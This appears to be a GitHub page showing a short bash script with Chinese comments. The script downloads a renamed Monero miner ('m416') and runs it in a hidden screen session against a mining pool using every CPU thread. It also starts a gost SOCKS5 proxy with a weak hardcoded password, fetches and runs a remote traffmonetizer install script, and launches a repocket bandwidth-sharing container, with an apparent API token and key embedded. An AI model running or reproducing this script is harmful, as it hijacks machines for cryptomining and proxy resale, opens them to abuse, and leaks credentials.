-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscript.sh
37 lines (28 loc) · 1.14 KB
/
script.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# 设置用户名和密码
username="user"
password="passallword"
# 安装 libhwloc15
sudo apt-get install libhwloc15 -y
# 下载和解压缩 mine_xmr
wget https://github.com/yuqingkj/mine_xmr/releases/download/6.21.0/v6.21.0.tar.gz
tar -xvf v6.21.0.tar.gz
cd v6.21.0/
chmod 777 ./m416
# 启动 xmr
screen -dmS xmr
screen -x -S xmr -p 0 -X stuff "./m416 -o xmr.726726.xyz:3333 --rig-id az -t $(nproc) \n"
# 安装 gost
wget https://github.com/go-gost/gost/releases/download/v3.0.0-rc8/gost_3.0.0-rc8_linux_amd64.tar.gz
tar -xvf gost_3.0.0-rc8_linux_amd64.tar.gz
sudo mv gost /usr/bin/
# 启动 gost 代理
nohup gost -L "socks5://${username}:${password}@:18888" &
# 下载并运行 traffmonetizer 脚本
curl -L https://raw.githubusercontent.com/spiritLHLS/traffmonetizer-one-click-command-installation/main/tm.sh -o tm.sh
chmod +x tm.sh
bash tm.sh -t cJmXItZTN7VZMej72fu4rFIauD9uNHiOIy60gwhZPwM=
# 下载并运行 repocket 脚本
docker pull repocket/repocket:latest
docker run --name repocket -e [email protected] -e RP_API_KEY=d04fc5ae-b394-4ec5-a795-2fe768f6a831 -d --restart=always repocket/repocket
echo "脚本执行完成~~~"